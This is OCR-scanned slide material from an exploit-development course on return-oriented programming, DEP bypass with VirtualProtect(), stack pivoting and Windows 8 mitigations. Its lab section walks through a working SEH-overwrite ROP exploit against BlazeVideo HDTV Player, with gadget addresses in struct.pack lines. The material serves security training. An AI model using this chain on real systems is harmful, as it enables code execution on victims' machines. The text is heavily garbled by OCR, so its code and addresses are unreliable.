arg: lpAddrcss 

VirtualProtect() ROP Example (3) 
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After this first argument is written to the stack, wc would continue to write the rest of the 
arguments with morc gadgcts. We will not be showing this on thc slidcs as it is simply a repeat of 
thc prcvious stcps. Thc difftculty comcs with finding the appropriatc codc scqucnccs to gct thc 
right argumcnts loaded to rcgistcrs and writtcn to the stack. 

mov dword ptr ds: [edi+Oc], eax 
retn 

There \\ ould continue to be 
morc gadgets tu writc the 
additional arguments into the 
appropriate posltions. 

arg: dw ()17c 

arg: tlNcwProtect 
arg: IpnOidProtcct 
Gadget to load arg 

mov dword ptr ds: (edi+Oc], eax 
r tn 

VirtualProtectO ROP Example (4) 
Wc ncxt nccd a gadgct that will writc thc first VirtualProtect() argumcnt hcld in EAX to thc 
appropriatc stack position. We accomplish this by locating the address of a codc scqucncc that 
writes EAX to thc preserved ESP addrcss + offsct. In our casc, we arc writing to "EDl+Oc." EDI 
of course holds thc prcscrvcd ESP address. 

41414141 
41414141 

Preserve ESP Gadget 
Adjust ESP Gadget 

*VirtualProtect() 
RP to VirtualProtcct() 

The next gadget begins thc 
process o r \\ riting thc 
arguments to the appropriate 
stack positions b) offscuing 
from the prc erv cd F.SP 
address 

VirtualProtect() ROP Example ( 4) 



154 

ln thc cxarnplc on the slide, wc can handle this problem by placing a 4-bytc pad bctwcen the two 
gadgct addrcsscs on the stack. Thc ncxt slidc dcrnonstrates the solution. 

VirtualProtcctO ROP Examplc (S) 
Whcn wc usc tools to find ROP gadgcts, many of thc gadgcts contain unwanted code. Somc gadgets 
can bc thrown away, but in othcr cases, thc only gadgct availablc to achievc a dcsircd goal may havc a 
bunch of unwantcd instructions in bctwcen thc dcsircd instructions and thc rctum. In thc cxamplc on 
thc slide, wc want to movc thc stack pointcr into thc EDI rcgistcr. Wc havc found a gadgct to 
accomplish this goal; howcvcr, instcad of the desired instruction being followcd immcdiately with a 
rctum instruction, wc have a "pop csi" that rnust cxccutc. In somc cascs, this is not an issue and we can 
deal with it; howcvcr, in other cases it may ncgativcly impact your goal and be unusable. lf unusablc, 
you must come up with anothcr gadget, or sequcncc of gadgcts to achicvc your dcsircd rcsult. 

• Finding the perfect gadget is not always possible 
• You will often have to deal with gadgets containing 

code you don't want to execute 
- In the following example, we want to simply move the 

ESP into EDI, followed by a return, but there is an 
instruction between the two:-, 1 mov eai,_e_s_p_, 

- As long as the unwanted instruction ~ pop esi 
does not cause any harm we're okay retn _ 

- We will just need to put 4-bytes of padding on the stack 
between the gadget currently executing and the next one 

- The next slide shows an example 

VirtualProtect() ROP Example (5) 
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arg: lp/vddrcss 
arg: dw Size 

arg: flNewProtcct 
arg: lpllOldProtcct 

VirtualProtcct() ROP Example (6) 
Nonnally, whcn wc rcturn to the next gadget, the stack pointcr is adjustcd to thc ncxt gadgct's 
addrcss on the stack. In this casc, thc gadgct contains an unwantcd "pop csi" instruction in 
bctwccn the instruction we want to cxccutc and the rctum. This is very common. The solution is 
simple in this case, We place 4-bytcs of padding bctwccn the gadgct that is currently executing 
and thc ncxt gadgct's pointcr to where wc want to jump. In this casc, wc havc addcd 
"Ox4 l 414 l 41." This valuc will bc popped into ESI and the stack pointcr will point to thc ncxt 
gadgct's address! 

·1 hc „pop esi" instruction w ill 
pop thc „41414141" into the 
1~s1 register; l~SP will thcn 
advunce to the next gadget and 
return succcssfully, 

Adjust ESP Gadget 
*Virtua!Protcct() 

RP to Virtuall'rorectt) 

e.sp 
~ 

Preserve ESP. GadgctF mov ed~, 
41414141 pop esi 

retn 

41414141 
41414141 

VirtualProtect() ROP Example (6) 

r= 
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Sec thc following link for morc inforrnation on thc "PUSHAD" instruction: 
h ttp://pdos.csa i l .mi t.edu/6.828/2005/readings/i3 86/PU SH A. h tm 

VirtualProtectO ROP Example (7) 
In thc cxamplc wc just walkcd through, wc wrotc thc argumcnts onc at a time into thc Stack locations 
of thc argumcnts for YirtualProtect(). Oftcn timcs you will instcad writc thc arguments directly to 
rcgistcrs, thcn usc thc "PUSHAD" instruction, followcd by a rctum instruction. Thc "PUSHAD" 
instruction pushcs all gcncral purposc rcgistcrs in the following ordcr: EAX, ECX, EDX, EBX, thc 
original ESP, EBP, ESI, EDI. You would nccd to writc the argumcnts to VirtualProtcct() in thc 
appropriate ordcr in thc registers, prior to cxccuting thc "PUSHAD" instruction. Thc stack pointcr 
would nccd to bc lincd up so that it points to thc addrcss of YirtualProtcct(), with thc appropriatc 
arguments below. 

• As opposed to writing the arguments onto the stack 
as previously described 
- Arguments to VirtualProtect() can be written into 

registers in the appropriate order 
- Once all arguments have been written, the "PUSHAD" 

instruction can be used to write them to the stack 
- This would be followed by a return instruction, with the 

stack pointer pointing to VirtualProtect()'s address 
- http://pdos.csail.mit.edu/6.828/2005/readings/i386/PUS 

HA.htm 

VirtualProtect() ROP Example (7) 
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This techniquc comcs into play whcn you havc a vulncrability, such as a function pointer overwrite, in 
which you desirc to rctum to your shcllcodc locatcd on thc hcap. Thc pivor will takc a pointer from 
any valid rcgistcr such as from EAX, movc it to ESP, and rcturn. Thc pointcr would likely be to 
shcllcode or additional instructions as part of a ROP payload. With stack ovcrflows a pivot is not 
usually nccessary, although pivoting can also rcfcr to adjusting the position of ESP on the stack. 

xchg/mov esp, eax #Move into esp, the pointer held in eax ... 
ret 

Stack Pivoting 
Stack pivoting is a tcchnique that is oftcn uscd with rctum oricntcd programming (ROP). Stack 
pivoting most often comes into play whcn an Class-instantiatcd objcct in mcmory is rcplaccd and 
holds a malicious pointcr to a fake vtable containing ROP codc. At the right momcnt, wc can pul in thc 
address of an instruction that pcrforms: 

• Method to move the position of ESP from the stack to an 
area such as the heap: 

xchg/mov esp, eax 
ret 

- e.g. Register such as EAX pointing to ROP code on the heap, so we 
pivot ESP to take advantage of pop's and push's 

• Works hand-in-hand with ROP and JOP 
- Not always necessary with stack overflows 
- If doing an SEH overwrite, you may not have enough space below 

on the stack to hold all of your code 
- You can use a gadget that subtracts a number of bytes from the 

stack pointer to get to a location where you have more space 

Stack Pivoting 
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mona.py - An lmmunity Debugger PyCommand by thc Corelan Team 
http://redmine.corelan.be/projccts/mona #H ighly recommended ! 

Whitc Phosphorus - lmmunity Canvas commercial Exploit Pack 
http://www. immun ityi nc.com/products-wh itephosphorus.shtml 

ROPEME- Linux gadgct buildcr by Long Lc ofVnSceurity 
http://www.vnsecuritv.net/2010/08/ropeme-rop-exploit-made-casy 

Mctasploit RopDB - More flexible ROP chains 
https://community.rapid7.eom/community/mctasploit/blog/2012/10/03/dcfcat-thc-hard-and- 
strong-with-thc-soft-and-gentle-metasploit-ropdb 

\d\.mn·d Pcru-trauou k,11ng. 1 ~plo11 \\ rtrtng •. ind 1.rlttcal Hark111g 

Tools to Hclp Build Gadgcts 
Thcrc arc quite a few tools to hclp you find gadgcts. Thc hunt for gadgets ean be quite time 
consuming as you are looking through code to find a valuablc scrics of instructions. Bcing that 
gadgcts rnostly requirc a retum (Oxc3) at the end ofthc scquencc, it is likcly morc time cfficicnt to 
scarch backwards, starting from rctum instructions. Some commonly used tools for gadget 
hunting and ROP includc: (This list is not cxhaustive.) 

• mona.py - An Immunity Debugger PyCommand by the 
Corelan Team htto://redmine.corelan.be/projects/mona 

• White Phosphorus - Immunity Canvas commercial Exploit 
Pack http://www.immunitvinc.com/products- 
whitephosphorus.shtml 

• ROPEME - Linux gadget builder by Long Le of VnSecurity 
http://www. vnsecurity. net/2010/08/ropeme-rop-exploit-made-easy 

• Metasploit RopDB - More flexible ROP chains 
https: //community. rapid7 .com/communjtv/metas01oit/blog/2012/10/03L 
defeat-the-hard-and-strong-with-the-soft-and-qeotle-metasplojt-roodb 

Tools to Help Build Gadgets 
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https://www.corelan.be/indcx.php/201 1 /07 /03/uni versal-dcpaslr-bypass-with-msvcr71-dll-and- 
mona-py/ 

In rcsponsc to Immunity Security's publishing of ASLR and DEP bypass with Whitc Phosphorus. 
thc Corclan Team issucd the following which dcmonstratcs thc samc tcchniquc put togcthcr by 
mona.py: 

Return Oricnted Programming uscd to hack voting machincs by Hovav Shacharn: 
http://clcctiondcfcnscalliancc.org/Rctum-objcct-cnginccring 

Whitc Phosphorus uscs ROP for DEP and ASLR bypass. The tcchniquc uscs librarics which havc 
not changcd over the years, do not participatc in ASLR and arc commonly loaded by third-party 
applications. Sec thc relcasc from 6/201 1: http://www.whitcphosphorus.org/sayonara.txt 

ROP has bccn used in modificd Aurora cxploits. Sec Dino Dai Zovi's paper: 
http://trailofbits.filcs.wordprcss.com/2010/04/practical-rop.pdf 

ROP in the News 
ROP is a vcry common attack tcchniquc to disable OS controls and cxccutc codc. Thc following 
arc some examplcs of ROP used today: 

• ROP is a very common attack technique to disable 
OS controls and execute code 
- ROP has been used in modified Aurora exploits. See Dino Dai 

Zovi's paper: 
http: //trailofbits. files. wordpress.com/2010/04 /practical- 
rop. pdf 

- White Phosphorus uses ROP for DEP and ASLR bypass. See 
the release from 6/2011: 
http://www.whitephosphorus.org/sayonara.txt 

- Return Oriented Programming used to hack voting machines 
by Hovav Shacham: 
http://electiondefensealliance.org/Return-object-engineering 

ROP in the News 



160 

Research paper by Dan Rosenberg: http://vulnfactory.org/blog/2011/09/21/defcating-windows-8- 
rop-mitigation/ 

1) An attackcr discovcrs a hcap ovcrflow vulncrability in which a CH vptr can bc controllcd, 
allowing for control of EIP through thc usc of a fake vftable. 

2) The attackcr uscs stack pivoting to point ESP to thc hcap whcrc their ROP codc cxists in order 
to disable DEP With YirtualProtcct() or anothcr tcchnique. 

3) Oncc DEP is disablcd, shcllcodc is cxccutcd. 

4) With Windows 8, thc stack pointer is checked prior to calls to mcmory protcction functions 
such as VirtualProtcct() and VirtualAlloc(). 

S) If ESP is not pointing to thc stack area as defined in thc Thread Information Block 
(TlßffEB), an cxccption is thrown. 

6) This can bc defeatcd by pivoting the stack pointer back to the stack prior to thc call to 
Virtual Protcct(). 

Windows 8 ROP Protection 
Dan Rosenberg rclcascd a papcr that spcaks bricfly to OS and mcmory protcctions addcd to 
Windows 8 including uscrland and kcmcl hcap hardcning, null pointer derefercncing protection, 
C-H vptr overwritcs, and ROP cxploit mitigation. An examplc of an attack using ROP 
cxploitation on Windows 7, and the new protection on Windows 8 is thc following: 

• Dan Rosenberg released a paper on new Windows 8 
protections 

• One item analyzed was the ROP mitigation added 
- ROP exploit mitigation 

• Many modern Windows attacks are heap overflows 
• Stack Pivoting rs used to point ESP to the heap 
• The protection checks ESP to make sure it is pointing within the 

stack range as defined by the TIB/TEB 
• Can be defeated by pivoting ESP back to the stack before the call 

to a function to disable DEP 
- Windows 8.1 added additional protections analyzing the return 

addresses from function calls to ensure they are valid 

Windows 8 ROP Protection 
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At thc Las Yegas BlackHat confcrcncc in July, 2012, Microsoft announccd thc winner of thc BlueHat 
Prize. Thc challenge was to improvc runtime protection on thc Windows Operating systcm, primarily 
aimcd at defcating ROP-bascd attacks. Thrcc finalists wcrc sclcctcd and 151 placc was awardcd to 
Vasilis Pappas. He was givcn $200K for his submission callcd kßounccr. Thc control pcrforms 
various checks, notably ehecking for rcturn instructions without having a call instruction abovc. Othcr 
rcsearch lookcd at codc randomization during a function call to rcndcr thc location of ROP gadgets 
incorrect. Thc sccond plaee winncr, Ivan Fratric, named his control ROPGuard. This control was 
claimcd to havc bccn dcfcated by Shahriyar Jalaycri by using kcrnelbasc.dll to gct thc address of 
VirtualProtcct(). Third place was awarded to Jarcd DcMott. 
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Module Summary 

In this modulc wc pcrformcd multiple tcchniqucs to disablc DEP with codc rcusc and rctum 
oricntcd cxploitation. Wc also discusscd Windows 7 and 8 controls and techniqucs to cxploit 
thosc opcrating systcms. 

• Hacking hardware DEP 
• Using return oriented exploitation to call 

VirtualProtect() and disable DEP 
• Understanding controls on Windows 7 and 8 

Module Summary 
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You main goal is 10 sei a breakpoint on the first gadget and trace the code execution, gaining a much better 
understanding as to how ROP is uscd 10 gct around OEP by changing the permissions where our shellcode is 
located! 

1 
Exercise: Using ROP to Disable DEP 
In this exercise you will use ROP 10 disable Hardware DEP on Windows 7, 32-bit or 64-bit. Please stick with 
Windows 7 for this exercise. You will use Windows 8 in the bootcarnp challenge. This exploit does work on 
Windows 8, 32-bit and 64-bit, but lmmunity Debugger has difficulty following the exception handling process. 
lt is unknown as to why this is ihe case. 

• Target: BlazeVideo HDTV Player 6.6 Pro 
Hardware DEP will now be enabled 

- You will use Windows 7. 32-bit or 64-bit 
- You can also use Windows 8, but debugging with Immunity 

Debugger may be problematic with exception handling 

• Goals: 
- Defeat Hardware DEP on Windows 7 or 8 
- Adjust the stack pomter for alignment issues when overwriting the 

SE Handler 
- Circumvent ASLR by using static modules 
- Practice generating a ROP chain with Mona 
- Trace the completed ROP chain supplied 

~- ------------~ 

You. .nst. •. :rn wrl. ,\,ilk „o~ thr ,u0;, this up to a ccrtain point prior to handing 
o\ er control. You ma) use Windov. s 7/8. 32-bit or 64-bit 1 

Exercise: Using ROP to Disable DEP 
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Enabling DEP on Windows 7 or 8 

DEP is likely alrcady on for your Windows 7 or 8 systcm, Rcgardlcss, wc nccd to cnsurc that it is 
on and that thcrc is no cxccption set up for thc BlazeHDTV program. Press the Windows key on 
your keyboard + Break to gct to the System Control Panel. You can also manually go to thc 
control panel. Once there, click on "Advanccd systcm scttings" on thc left side of thc screen. 
Next, under "Performance" click on "Settings." Ctick on the "Data Exccution Prevention" tab and 
make sure the option selected is the one that says, "Turn on DEP for alt programs and serviccs 
cxccpt those I sclcct." ff the BlazcHDTV prograrn, shown as "MainApp," is still listed as an 
exception from carlier, makc sure the chcckbox is uncheckcd. 

~ 
\\c wnnt this 
Option 

• . ., •m•"••-.,.. ...... ._ .... - 

• Press the 11-key and 
Break 

• Click on "Advanced 
system settings" on the 
left 

• Under "Performance" 
dick on "Settings" 

• Click on the "Data 
Execution Prevention" 
tab and turn DEP on 
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The cxploit uses non-ASLR participating modulcs that come along with thc vulnerable application 
to build the ROP chain. lt uscs thc YirtualProtcct() function to defcat DEP by changing thc 
pcrmissions on thc stack whcrc thc shcllcodc residcs, and uscs the PUSHAD method. 

The Exploit 
In your 660.5 folder is a Python script titled, "Blaze_32_64-bit_ Win7 _8.py." lt is the complcted 
exploit with a working ROP chain for Windows 7 or 8, 32-bit or 64-bil. The original script was 
takcn from http://www.exploit-db.com and written by thc author modprObe. lt is not clear who 
first discovered this bug as exploit code has becn postcd many times and thcrc is no obvious CVE. 
This author "Stcphcn Sims" had 10 fix the script as it did not work on 64-bit Windows 7 due 10 
alignmcnt issucs, and completely failed on Windows 8. The ROP chain was brokcn duc to 
pcrmissions issues with thc IAT and was fixcd. Feet frcc to rcname thc script as you sec fit. Thc 
original exploit is at this location if you wish to comparc thc brokcn chain to the fixed chain: 
http://www.cxploit-db.com/exploils/l 7939/ 

• The completed exploit: 
- The "Blaze_32_64-bit_Win7 _8.py" script is in your 660.5 

folder 
• Feet free to rename it to suit your needs 
• lt works for Win7 or Win8, 32-bit or 64-bit! 

- lt uses non-ASLR participating modules that come with 
the BlazeHDTV application 

- Defeats DEP using ROP to call VirtualProtect() with the 
PUSHAD method 

- Was taken from exploit-db.com, but had tobe fixed for 
Windows 8 and 64-bit support ***See Notes ... 

The Exploit 
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Oncc you havc cnablcd DEP as previously statcd, doublc-click on thc BlazcVidco HDTV Player 6.6 
Pro application and acccpt thc trial mcssagc that appcars on thc scrccn. Start up Immunity Debugger 
and attach to thc BlazcHDTV process. Once attached, press F9 to allow the program to continuc 
cxecution. Therc arc somc diffcrcnccs whcn running this exercise on a 32-bit systern versus a 64-bit 
system. Thosc difTerenccs will bc cxplaincd whcn appropriate. 

Copy thc "Blazc_32_64-bit_ Win7 _8.py" script from your 660.5 foldcr to your Desktop or Python 2.7 
foldcr. Oncc it is copicd to your desired location, doublc-click it to gcncratc the malicious file, titled 
"blazccxploit.plf." This will bc thc filc wc will open soon. 

Tracing the ROP Chain 
Thc ROP chain is shown in your script. lt is too large to display on a slidc. Wc will be showing the 
relevant picccs of thc ROP chain as we single-step through the exccution. After getting cverything sct 
up, we will sct a breakpoint on the first gadgct. 

• The ROP chain is too large to fit onto a single slide 
• Double-dick the script to generate the .plf file 
• With DEP enabled for all programs, start up the 

"BlazeVideo HDTV Player 6.6 Pro" program 
- Click "Later" on the trial "nag" screen 
- Start up Immunity Debugger and attach to the 

BlazeHDTV process 
- Press F9 to let the program continue running 
- Differences in results between 32-bit and 64-bit Windows 

will be explained as appropriate 

Tracing the ROP Chain 
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Setting the Breakpoint 
Lct's first sct a brcakpoint on thc first gadgct. This will be the addrcss that wc are using to ovcrwritc 
thc SE Handlcr, thc first to bc callcd. Inside lmmunity Debugger, click anywhcrc in thc disassembler 
pane and then press CTRL-G. Enter thc addrcss "Ox6 l 30534A" and press entcr. You may havc to do it 
twice to get the rcsults shown on the slide. The instruction "ADD ESP,800" should bc the first shown, 
with the address bcing "Ox6 l 30534A." Click on this address and press F2 to sei a breakpoint. 

• We must first set a breakpoint on the first gadget 
tobe called 
- This is the pointer we are using to overwrite the SE 

Handler 
- In the debugger, dick anywhere in the disassembly pane 

and press CTRL-G 
- Enter the address of the first gadget, "Ox6130534A" and 

press enter (You may have to do it twice) 
- You should see the following block of code QI gc<i 00880000 ~~NESP„8881 

- Click on the first instruction and press F2 toset the BP 

Setting the Breakpoint 
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Opcniog the Exploit File 
With the program running insidc of lmmunity Debugger and thc breakpoint sct, click on the foldcr 
icon on the BlazeHDTV pancl. From the drop-down mcnu, click on "Open Playlist. .. " Depending on 
your version of Windows, thc dcbuggcr may catch an cxccption. lf it docs, press SHIFT-F9 oncc to 
pass thc exccption and continue cxccution. Do not press F9 by itsclf as this will causc thc program to 
becomc unstablc insidc thc debugger. lf you accidcntally press F9 instcad of SHIFT-F9, you will havc 
to detach thc debuggcr, rcstart Blazc, reattach with the debugger, sct thc breakpoint, and gct back to 
this step. 

• Depending on the version of Windows, the debugger may 
catch an exception IPaused 1 

• 1f it does, press SHIFT-F9 once ***See Notes 

~. ,, .. 

• With the program running in the debugger, dick on the 
folder button, and then "Open Playlist ... " 

Opening the Exploit File 
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Passing the Exception 
Whcn thc prograrn opcns thc rnalicious filc, it will first ovcrrun thc buffcr, causing an exception. Wc 
arc gctting control by ovcrwriting the SE Handler, so we will nccd to pass thc cxccption with SHfFT- 
F9. On 32-bit vcrsions of Windows, it should hit the brcakpoint right aftcr passing thc cxccption. On 
64-bit vcrsions of Windows, it sccms to causc a fcw cxccptions that must bc passcd. You rnay nccd to 
press SHIFT-F9 7 or 8 timcs bcforc hitting thc brcakpoint. Be surc not to press it too many times and 
that you arc at thc brcakpoint whcrc it should point to thc instruction, "ADD ESP,800." 

• Overrunning the stack will cause an exception, 
which will be caught by the debugger 

• The debugger will show the application as "Paused" 
• Press SHIFT +F9 to pass the exception as usual 

- On 32-bit versions of Windows, you should hit the 
breakpoint right after passing the exception ! 

- On 64-bit versions of Windows, it seems to have a few 
exceptions that must be passed and you may need to 
press SHIFT-F9 up to 7 or 8 times before hitting the 
breakpoint 

- Be sure to go slow and verify you are at the breakpoint! 

Passing the Exception 
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At thc first brcakpoint, press F7 to singlc-stcp to thc "RETN" instruction. Thc stack pointcr should 
now havc adjustcd down to our controllcd data, as shown in thc next slidc. 

Whcn thc cxccption occurs, thc stack pointcr is far from our input on thc stack, where our ROP chain 
and shcllcodc rcsidcs. To rcach our ROP chain wc adjust thc stack pointer by +Ox800 bytcs to gct to a 
landing pad whcrc wc will have some ROP NOP's. 

H Adjust ESP to hit our landing pad 
t Return to the next address on the stack 

ADD ESP,800 
RETN 

seh = struct.pack('<L', Ox6130534a) H [DTVDeviceManager.dll] 
# Above is the line of code from the exploit we are covering. 

SE Handler - Adjusting ESP 
Wc ovcrwrite the SE Handlcr with a pointer to our first block of code. 

• At the time of the exception, the stack pointer is far 
from our input 

• Adjusting ESP by +Ox800 bytes gets us to an area 
we control and set up a landing pad 

ADD ESP, 0 i Ad u t ESP t hit r l ndinq p 
RETN 1 R turn to h n xt addr on th 

M nager.dl 
re v ring. 

seh • struct.pack('<L', Ox6130534a) 
1 Abov i th lin fr m h 

• We first perform the SE Handler overwrite 

SE Handler - Adjusting ESP 
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Press F7 to single-stcp 10 through thc ROP NOP's rcpcatcdly until hiuing thc first gadget on thc stack. 

rop = struct.pack('<L', Ox61326003) # ROP NOP ptr to RETN 

Advancing ESP with RETN's 
On this slidc is the result whcn allowing the "ADD ESP,800" instruction to cxecutc. lt advances ESP 
down to our landing pad of ROP NOP's. ROP NOP's are simply pointers to RETN instructions to 
advance ESP down to thc real ROP chain wc want to begin exeeuting. On thc slide ESP points to 
"OxOO l 2F404" on the stack. At this stack position is thc address "Ox6 l 326003" which is an addrcss 10 
a simple RETN instruction in a non-ASLR participating module. 

rop = struct.pack('<L', Ox61326003) t ROP NOP ptr to RETN 

• ROP NOP's are simply pointers to RETN instructions 
to advance ESP downward until reaching the real 
ROP chain 

• On 32-bit Windows 7 and 8, the Ox800 
advancement of ESP should land into a series of 
ROP NOP's 

Advancing ESP with RETN's (1) 
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Press F7 to singlc-stcp to through thc advancement of ESP and thc ROP NOP's repeatedly until hitting 
thc first gadget on thc stack. 

adv = struct.pack('<L', Ox61310eaf) * 218 # Adv ESP to ROP NOP 

AdvESP{ 

adv a struct.pack('<L', Ox61310eaf) * 218 i Alv E' • ROP NO 

Advancing ESP with RETN's (2) 
On 64-bit versions of Windows 7 and 8, thc advanccmcnt of ESP by -1 Ox800 bytcs doesn 't hit our 
ROP NOP landing pad. lt actually lands a bit bcforc thc SE Handlcr ovcrwritc position. To 
compensatc for this and advancc down the ROP NOP's and our ROP chain, wc pad thc stack with a 
scrics of pointcrs that point to thc instruction "ADD ESP,28" followcd by a ''RETN." This advanccs 
ESP down thc stack rcpcatedly until hitting our ROP NOP's. 

• On 64-bit Windows 7 and 8, the Ox800 
advancement of ESP doesn't go far enough 
- We must pad part of the stack where ESP lands with 

additional "ADD ESP" instruction pointers 

Advancing ESP with RETN's (2) 
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You should find some rcsults quickly. Select the appropriatc addrcss ofthe start ofthe gadgct and 
update your script accordingly. 

add esp, 20 
ret 

Hin1 RA" and 'RB" match R32. "AH'f n· rnatchet O .. n C«Mland< 

To continuc, run thc "lrnona modulcs" command again and select any module not participating in thc 
cxploit mitigation controls discusscd prcviously. Wc havc sclcctcd "Configuration.dll" in the exarnple 
on thc slide. Oncc you havc it up in the disasscmblcr panc, press CTRL-S to bring up the "Find 
sequence of eommands" pop-up. Enter in: 

add esp, 20 
ret 

Advancing ESP with RETN's (3) 
On some systcrns, mostly 64-bit, thc advanccment of ESP down thc stack may coincidcntally land 
right back on the SE Handler again as opposed to rcaching the ROP NOP's. This results in the 
advancemcnt of ESP down another Ox800 bytes. This will ccrtainly causc your attack to fait. 1 f you 
cxpericnce this issue, an easy fix is to look for another "add csp" instruction with a different sizc. For 
this cxamplc, wc havc chosen thc sizc of Ox20. This is different than thc prcvious sizc being uscd of 
Ox28 bytes. In instanccs where this coincidcnce oceurred, using the size of Ox20 resolved the issuc. 
Thcrc is likely a perfcct gadget out thcre that adjusts ESP down to thc appropriatc location reliably. 
Feet frec to check! 

J 

• You may experience a problem ! 
- On some systems the advancement of ESP down to the 

ROP NOP's fails as it lands precisely on the SE Handler 
- This results in the advancement of ESP by Ox800 bytes 
- To fix, select an unprotected module, press CTRL-S to 

search for a new opcode: 

Advancing ESP with RETN's (3) 
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On the slide is a scrcenshot of thc rcgistcrs all holding thc proper argumcnts to VirtualProtcct(). On thc 
writc is simply a graphic showing you in what order those rcgisters are written to thc stack. We will 
work to gct to this point with the forthcorning gadgets, and deal with any issucs that may arisc. Idcally, 
wc want EDI to hold thc pointcr to VirtualProtect(), as this is the last rcgistcr pushed and would be 
whcrc ESP points aftcr thc PUSHAD instruction; howcvcr, wc may not always havc the luxury of 
gctting things in thc cxact ordcr that wc want whcn limited by availablc gadgcts. 

• The forthcoming gadgets will get the 
arguments into the correct registers 

PUSHAD 
RETN 

PUSHAD 
The usc of thc PUSHAD instruction will becomc clcar as you trace through thc instructions used in 
cach gadgct. Thc gcneral idca is to write the address of VirtualProtcct() and all argumcnts neccssary 
into thc gcncral purposc rcgistcrs. The PUSHAD instruction will push cach rcgistcr onto thc stack in 
the following order: EAX, ECX, EDX, EBX, original ESP, EBP, ESI, and EDI. The challcngc will bc 
writing the argurnents to VirtualProtcct() into spccific rcgisters so that when PUSHAD writcs thcm 
onto thc stack, they are in the correct order for thc function call. 

EDI 0. o U260(ß 
ESI- Ox76<>h2'141 
rmr ox616t055A 
I:..SP-Ox001:2r474 
l·BX - 0A00000501 

bDX - Ox00000040 
El X - Ox60350340 
EAX - 0:...90909090 

'11''11NHYH 60350340 Configur.6035034 
p 0 
l Sßl 
0012F4?4 6161~550 EPG.616105~0 
?69E2341 kernel32.Uirtu~1Prot~ct 
f t J?<>r„AJ DTUDr:v i c , 61 J?.f,A~t3 
61628CP2 HPC.6162 P2 --- 

• The PUSHAD instruction technique will be used to write the 
address of VirtualProtect() and all arguments onto the stack 

• The order is: EAX, EO<, EDX, EBX, original ESP, EBP, ESI, 
and EDI Stack 

PUSHAD 
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Press F7 to stcp through this gadget and watch the addrcss from thc stack gct poppcd into thc EDX 
registcr as cxplaincd. Press F7 on thc RETN instruction to advancc to the ncxt gadgct. 

Thc SkinScrollBar.Dll modulc docs not participalc in ASLR and othcr controls. Fccl frcc to usc the 
"!mona modulcs" command in Immunity Debugger to vcrify this statemcnt. 

rop+= struct.pack('<L', Ox10011108) 
# ptr to &VirtualProtect () [ IAT SkinScrollBar. Oll] 

** [MediaPlayerCtrl.dll] #POP EDX ~ RETN 
rop+= struct.pack('<L', Ox6405347a) 

Gadgct#l 
Wc arc now at the first gadgct to bcgin thc proccss of setting up our call to VirtualProtcct(). The first 
thing wc arc doing is popping a pointcr to &VirtualProtcct() from SkinScrollBar.Dll's Import Addrcss 
Table (IAT) into EDX. lf you are not familiar with C and C++, thc & in front of VirtualProtcct() is 
called a rcfcrcncc opcrator. lt is being used as the address of thc variable wc are intcrcstcd in, such as 
thc addrcss of VirtualProtcct() in this casc. Wc will dereferencc this location shortly to obtain thc true 
addrcss of Virtua!Protect(). 

- We are popping the address "Ox10011108" from 
SkinScrollBar.Dll's IAT into EDX 

- Since this module does not participate in ASLR, we know 
it will always be static 

- Feel free to run "lrnona modules" in Immunity Debugger 
to verify that this module does not participate 

rop+~ struct.paclt('<L', Ox6405347a) 
f POP DX J REN ~• M di 1 y rCtrl.dll) 
rop+= struct.pack('<L', Oxl0011108) 
t p r &Virtu lProt () [ A.T S~. nScr 118 r.Dll 

• Pop a pointer to &VirtualProtect() from a modules' 
IAT into EDX 

Gadget #1 
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Be sure to read this slidc and the ncxt to sec thc gadgct rcquiring this trick. Press F7 to advancc 
through this gadgct and confirm results. Whcn rcaching the next gadget, advance to the next slide. 

rop+= struct.pack('<L', Ox64040183) 
#POP EDX # RETN [MediaPlayerCtrl.dll] 
rop+= struct.pack('<L', Ox10011108) 
# ptr to &VirtualProtect() [IAT SkinScrollBar.Dll] 

Gadget #2 
With this gadgct, wc pop thc value "Ox99A9FE7C" into EBX. This valuc is addcd to thc valuc 
"OxC68B04C4" in thc ncxt gadgct as you will sec shortly. lt is an unwantcd instruction that simply has 
a rcquircmcnt that EBX point to a writablc memory address. Thc two valucs addcd together cquals 
"Ox60350340" which is a writablc addrcss in Configuration.dll. To comc up with the value to pop into 
EBX, we simply nccd to find a writablc addrcss and subtract the value "OxC68B04C4" uscd in thc 
ncxt gadget. Whatcvcr valuc is lcft aftcr thc subtraction is thc valuc wc usc to pop into EBX, such as 
that on this slide. 

• In the next gadget, "[EBX+C68B04C4]" is being accessed 
• We need EBX to hold a writable address so an access 

violation does not occur 
• Read the notes for this slide and the next to understand! 

rop+= struct.pack('<L', Ox64040183) 
POP EBX t RETN [M d1aPl~yctCtrl.dl 

rop+• struct.pack('<L', Ox99A9FE7C) 
Valu top p into EBX 

• Pop the value "Ox99A9FE7C" into EBX 
• This is a value we must place into EBX to satisfy the 

requirements of an unwanted instruction in the next gadget 

Gadget #2 
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Thcrc is a "RETN 4" at thc end of this gadgct and as such we must placc on a 4-bytc pad aftcr thc ncxt 
gadgct 's position on thc stack. Press F7 to advancc through this gadget and confirm rcsults. Whcn 
rcaching thc ncxt gadgct. advancc to the next slidc. 

rop+= struct.pack('<L', Ox6030b982) 
# MOV EAX,DWORD PTR DS: [EDX] ** {Configuration.dll] 
# ADD BYTE PTR OS: [EBX+C68B04C4],AL #POP ESI # RETN 4 
rop+= struct.pack('<L', Ox41414141) 
# Filler (compensate for unwanted POP ESI) 

Gadget #3 
In this gadgct, wc first dercfcrcncc SkinScrollßar.Dll's IAT addrcss for &VirtualProtcct() and load it 
into EAX. The ncxt instruction is thc aforcmcntioned unwantcd instruction that is addcd to thc valuc 
"Ox99A9FE7C." We placcd this valuc onto thc stack and had it popped into EBX sincc EBX must bc 
holding a writablc addrcss. Wc thcn pop Ox41414 l 4 I into ESI as it is an unwanted instruction bcforc 
our rcturn. 

• Afterward are a couple of unwanted instructions for 
which we must compensate 

rop+= struct.pack('<L', Ox6030b982) 
t MV EAX, ~ORD PTR DS:(EDX] •• {Configur tion.dll 
t ADD BY E PTR D :(EBXt f8B04C4],AL I POP ESI 1 REN 4 
rop+= struct.pack('<L', Ox41414141) 
1 Fill r (c p n t for unwant d POP ESI) 

• Dereference &VirtualProtect() from the IAT of 
SkinScrollBar.Dll 

• We are moving this address into EAX 

Gadget #3 
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Press F7 to advancc through this gadgct and conftnn rcsuhs. Whcn rcaching thc ncxt gadgct, advancc 
to thc ncxt slidc. 

rop+= struct.pack('<L', Ox61642a55) 
# PUSH EAX #POP ES!# RETN 4 [EPG.dll] 
rop+= struct.pack('<L', Ox41414141) 
